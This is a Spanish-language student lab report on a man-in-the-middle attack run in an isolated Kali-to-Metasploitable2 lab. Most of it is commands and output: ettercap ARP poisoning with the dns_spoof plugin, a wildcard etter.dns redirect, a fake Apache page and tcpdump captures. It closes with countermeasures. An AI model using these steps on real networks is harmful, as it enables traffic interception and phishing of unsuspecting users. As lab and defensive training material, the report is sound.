

Martin Dalla Pozza

***Informe de Ataque ARP Poisoning y DNS Spoofing
Objetivo.***

***Demostrar un ataque Man-in-the-Middle (MITM) combinando
ARP Poisoning y DNS Spoofing para interceptar y redirigir
tráfico web en una red local.***

Herramientas Usadas:

Kali Linux (Atacante): 192.168.1.3

Metasploitable2 (Víctima): 192.168.1.2

Ettercap: Para envenenamiento ARP y DNS

Apache2: Servidor web falso

```

(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:83:ee:95 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.3/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::718c:b286:ec12:b6c6/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:ad:94:a2:eb brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever

(kali㉿kali)-[~]
$ ping -c 2 192.168.1.2
PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data:
64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=12.3 ms
64 bytes from 192.168.1.2: icmp_seq=2 ttl=64 time=2.78 ms

--- 192.168.1.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 2.783/7.547/12.311/4.764 ms

```

```

(kali㉿kali)-[~]
$ sudo ip route add default via 192.168.1.1 dev eth0
[sudo] contraseña para kali:

(kali㉿kali)-[~]
$ route -n
Kernel IP routing table
Destination      Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0          192.168.1.1    0.0.0.0         UG    0      0      0 eth0
172.17.0.0       0.0.0.0        255.255.0.0     U     0      0      0 docker0
192.168.1.0      0.0.0.0        255.255.255.0   U     100    0      0 eth0

(kali㉿kali)-[~]
$ sudo sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1

(kali㉿kali)-[~]
$ cat /proc/sys/net/ipv4/ip_forward
1

```

```

(kali㉿kali)-[~]
$ sudo systemctl start apache2

(kali㉿kali)-[~]
$ echo '<h1>DNS Spoofing Exitoso!</h1><p>Tráfico redirigido desde Metasploitable2</p>' | sudo tee /var/www/html/index.html
<h1>DNS Spoofing Exitoso!</h1><p>Tráfico redirigido desde Metasploitable2</p>

(kali㉿kali)-[~]
$ curl http://localhost
<h1>DNS Spoofing Exitoso!</h1><p>Tráfico redirigido desde Metasploitable2</p>

```

```

# vim:ts=8:noexpandtab
*. * A 192.168.1.3 # Redirige TODOS los dominios a Kali
*.com A 192.168.1.3
google.com A 192.168.1.3
facebook.com A 192.168.1.3
twitter.com A 192.168.1.3

```

```

(kali㉿kali)-[~]
$ sudo nano /etc/ettercap/etter.dns

(kali㉿kali)-[~]
$ cat /etc/ettercap/etter.dns
#####
#
# ettercap -- etter.dns -- host file for dns_spoof plugin
#
# Copyright (C) ALoR & NaGA
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
#####
#
# Sample hosts file for dns_spoof plugin
#
# the format is (for A query):
#   www.myhostname.com A 168.11.22.33 3600
#   *.foo.com          A 168.44.55.66 [optional TTL]
#
# ... for a AAAA query (same hostname allowed):
#   www.myhostname.com AAAA 2001:db8::1
#   *.foo.com          AAAA 2001:db8::2 [optional TTL]
#
# or to skip a protocol family (useful with dual-stack):
#   www.hotmail.com    AAAA ::
#   www.yahoo.com      A    0.0.0.0
#
#####

```

```

#
# or for WINS query:
#   workgroup WINS 127.0.0.1 [TTL]
#   PC*       WINS 127.0.0.1
#
# or for SRV query (either IPv4 or IPv6):
#   service._tcp|_udp.domain SRV 192.168.1.10:port [TTL]
#   service._tcp|_udp.domain SRV [2001:db8::3]:port
#
# or for TXT query (value must be wrapped in double quotes):
#   google.com TXT "v=spf1 ip4:192.168.0.3/32 ~all" [TTL]
#
# NOTE: the wildcarded hosts can't be used to poison the PTR requests
#       so if you want to reverse poison you have to specify a plain
#       host. (look at the www.microsoft.com example)
#
# NOTE: Default DNS TTL is 3600s (1 hour). All TTL fields are optional.
#
# NOTE: IPv6 specific do not work because ettercap has been built without
#       IPv6 support. Therefore the IPv6 specific examples has been
#       commented out to avoid ettercap throwing warnings during startup.
#
#####

# vim:ts=8:noexpandtab
*.* A 192.168.1.3 # Redirige TODOS los dominios a Kali
*.com A 192.168.1.3
google.com A 192.168.1.3
facebook.com A 192.168.1.3
twitter.com A 192.168.1.3

```

```

(kali㉿kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa msfadmin@192.168.1.2
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
msfadmin@192.168.1.2's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sat Jan 31 12:22:32 2026
msfadmin@metasploitable:~$

```

```

Last login: Sat Jan 31 12:22:32 2026
msfadmin@metasploitable:~$ sudo route add default gw 192.168.1.3
[sudo] password for msfadmin:
Sorry, try again.
[sudo] password for msfadmin:
Sorry, try again.
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ echo "nameserver 192.168.1.3" | sudo tee /etc/resolv.conf
nameserver 192.168.1.3
msfadmin@metasploitable:~$ route -n
Kernel IP routing table
Destination      Gateway          Genmask         Flags Metric Ref    Use Iface
192.168.1.0      0.0.0.0         255.255.255.0   U      0      0      0 eth0
0.0.0.0          192.168.1.3     0.0.0.0         UG     0      0      0 eth0
msfadmin@metasploitable:~$ cat /etc/resolv.conf
nameserver 192.168.1.3
msfadmin@metasploitable:~$

```

```

msfadmin@metasploitable:~$ arp -a
google.com (192.168.1.3) at 08:00:27:83:EE:95 [ether] on eth0
msfadmin@metasploitable:~$ nslookup google.com
;; connection timed out; no servers could be reached

msfadmin@metasploitable:~$

```

```

(kali㉿kali)-[~]
$ sudo ettercap -T -M arp:remote -i eth0 /192.168.1.2// -P dns_spoof

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
eth0 → 08:00:27:83:EE:95
      192.168.1.3/255.255.255.0
      fe80::718c:b286:ec12:b6c6/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534 ...

34 plugins
42 protocol dissectors
57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |=====→| 100.00 %

Scanning for merged targets (1 hosts)...

* |=====→| 100.00 %

1 hosts added to the hosts list...

ARP poisoning victims:

```

Scanning for merged targets (1 hosts)...

* |=====| 100.00 %

1 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.1.2 08:00:27:7E:7F:22

GROUP 2 : ANY (all the hosts in the list)

Starting Unified sniffing...

Text only Interface activated...

Hit 'h' for inline help

Activating dns_spoof plugin...

Sat Jan 31 19:05:49 2026 [508311]

UDP 0.0.0.0:68 → 255.255.255.255:67 | (300)

.....0g..0.....'~"......c.Sc5..7.....
7:7E:7F:22] DISCOVER

Sat Jan 31 19:05:57 2026 [506307]

UDP 0.0.0.0:68 → 255.255.255.255:67 | (300)

.....0g..8.....'~"......c.Sc5..7.....
7:7E:7F:22] DISCOVER

msfadmin@metasploitable:~\$ arp -a

google.com (192.168.1.3) at 08:00:27:83:EE:95 [ether] on eth0

msfadmin@metasploitable:~\$ nslookup google.com

Server: 192.168.1.3

Address: 192.168.1.3#53

Name: google.com

Address: 192.168.1.3

msfadmin@metasploitable:~\$ nslookup facebook.com

Server: 192.168.1.3

Address: 192.168.1.3#53

Name: facebook.com

Address: 192.168.1.3

msfadmin@metasploitable:~\$

msfadmin@metasploitable:~\$ echo "192.168.1.3 google.com facebook.com twitter.com example.com" | sudo tee -a /etc/hosts

192.168.1.3 google.com facebook.com twitter.com example.com

msfadmin@metasploitable:~\$ cat /etc/hosts | grep 192.168.1.3

192.168.1.3 google.com facebook.com twitter.com example.com test.com

192.168.1.3 google.com facebook.com twitter.com example.com

msfadmin@metasploitable:~\$

msfadmin@metasploitable:~\$ curl http://google.com

<h1>¡DNS Spoofing Exitoso!</h1><p>Tráfico redirigido desde Metasploitable2</p>

msfadmin@metasploitable:~\$ curl http://facebook.com

<h1>¡DNS Spoofing Exitoso!</h1><p>Tráfico redirigido desde Metasploitable2</p>

msfadmin@metasploitable:~\$ curl http://twitter.com

<h1>¡DNS Spoofing Exitoso!</h1><p>Tráfico redirigido desde Metasploitable2</p>

msfadmin@metasploitable:~\$

```

(kali@kali)-[~]
$ sudo tcpdump -i eth0 -n host 192.168.1.2 -c 10
[sudo] contraseña para kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
19:16:47.620910 IP 192.168.1.3.57720 > 192.168.1.2.22: Flags [P.], seq 3636984209:3636984249, ack 1842081544, win 123, options
[nop,nop,TS val 918416445 ecr 272699], length 40
19:16:47.623916 IP 192.168.1.2.22 > 192.168.1.3.57720: Flags [P.], seq 1:41, ack 40, win 317, options [nop,nop,TS val 309223 e
cr 918416445], length 40
19:16:47.623946 IP 192.168.1.3.57720 > 192.168.1.2.22: Flags [.], ack 41, win 123, options [nop,nop,TS val 918416448 ecr 30922
3], length 0
19:16:48.650421 IP 192.168.1.3.57720 > 192.168.1.2.22: Flags [P.], seq 40:80, ack 41, win 123, options [nop,nop,TS val 9184174
75 ecr 309223], length 40
19:16:48.652468 IP 192.168.1.2.22 > 192.168.1.3.57720: Flags [P.], seq 41:81, ack 80, win 317, options [nop,nop,TS val 309326
ecr 918417475], length 40
19:16:48.652493 IP 192.168.1.3.57720 > 192.168.1.2.22: Flags [.], ack 81, win 123, options [nop,nop,TS val 918417477 ecr 30932
6], length 0
19:16:48.671596 IP 192.168.1.2.38762 > 192.168.1.3.53: 57081+ A? google.com. (28)
19:16:48.671645 IP 192.168.1.3 > 192.168.1.2: ICMP 192.168.1.3 udp port 53 unreachable, length 64
19:16:48.672636 IP 192.168.1.3.53 > 192.168.1.2.38762: 57081*- 1/0/0 A 192.168.1.3 (44)
19:16:48.676165 IP 192.168.1.2.22 > 192.168.1.3.57720: Flags [P.], seq 81:553, ack 80, win 317, options [nop,nop,TS val 309328
ecr 918417477], length 472
10 packets captured
13 packets received by filter
0 packets dropped by kernel

```

Configuración Inicial

En Kali (Atacante):

```

# Configurar red
sudo ip route add default via 192.168.1.1 dev eth0
sudo sysctl -w net.ipv4.ip_forward=1

# Iniciar servidor web falso
sudo systemctl start apache2
echo '<h1>¡DNS Spoofing Exitoso!</h1>' | sudo tee /var/www/html/index.html

# Configurar Ettercap para DNS spoofing
sudo nano /etc/ettercap/etter.dns
# Agregar: *.* A 192.168.1.3
#         google.com A 192.168.1.3

```

En Metasploitable2 (Víctima):

```

# Configurar Kali como gateway y DNS
sudo route add default gw 192.168.1.3
echo "nameserver 192.168.1.3" | sudo tee /etc/resolv.conf

```

Ejecución del Ataque

1. Iniciar Ettercap en Kali:

```

sudo ettercap -T -M arp:remote -i eth0 /192.168.1.2// -P dns_spoof

```

2. Verificar el ataque en Metasploitable2:

Ver tabla ARP (debe mostrar MAC de Kali)

```
arp -a
```

Probar DNS spoofing

```
nslookup google.com
```

Debe devolver: 192.168.1.3

Configurar /etc/hosts para pruebas web

```
echo "192.168.1.3 google.com facebook.com" | sudo tee -a /etc/hosts
```

Probar redirección web

```
curl http://google.com
```

Debe mostrar la página falsa de Kali

Evidencias de Éxito

1. ARP Poisoning Funcionando:

```
arp -a
```

Resultado: google.com (192.168.1.3) at 08:00:27:83:EE:95 [ether]

2. DNS Spoofing Activo:

```
nslookup google.com
```

Resultado: Address: 192.168.1.3

3. Redirección HTTP Exitosa:

```
curl http://google.com
```

Resultado: <h1>¡DNS Spoofing Exitoso!</h1>

Resultados Obtenidos:

ARP Poisoning exitoso: Víctima envía tráfico a Kali

DNS Spoofing funcional: Consultas DNS resueltas a IP de Kali

Redirección HTTP completa: Tráfico web muestra página falsa

Problemas Encontrados y Soluciones

Problema 1: Router 192.168.1.1 no responde

Solución: Configurar Kali como gateway de la víctima

Problema 2: curl no usa DNS configurado en Metasploitable2

Solución: Modificar /etc/hosts temporalmente

Problema 3: Algoritmos SSH obsoletos en Metasploitable2

Solución

Usar parámetros especiales en ssh:

ssh -o HostKeyAlgorithms=+ssh-rsa msfadmin@192.168.1.2

Contramedidas Sugeridas

1. Para ARP Poisoning:

Usar tablas ARP estáticas en dispositivos críticos

Implementar detección con herramientas como arpwatc

Configurar switches con DHCP Snooping y Dynamic ARP Inspection

2. Para DNS Spoofing:

Usar DNSSEC para validar respuestas DNS

Implementar DNS sobre HTTPS/TLS

Configurar firewalls para bloquear consultas DNS no autorizadas

3. Buenas Prácticas Generales:

Usar HTTPS en todos los sitios web

Implementar VLANs para segmentar la red

Monitorear tráfico de red regularmente

Conclusión:

El ataque demostró que combinando ARP Poisoning y DNS Spoofing es posible interceptar y manipular tráfico web en una red local. Aunque el entorno era controlado y simplificado, las técnicas aplicadas son reales y representan una amenaza seria para redes desprotegidas.

La protección requiere múltiples capas de seguridad: desde configuraciones específicas en dispositivos de red hasta el uso de cifrado y monitoreo constante.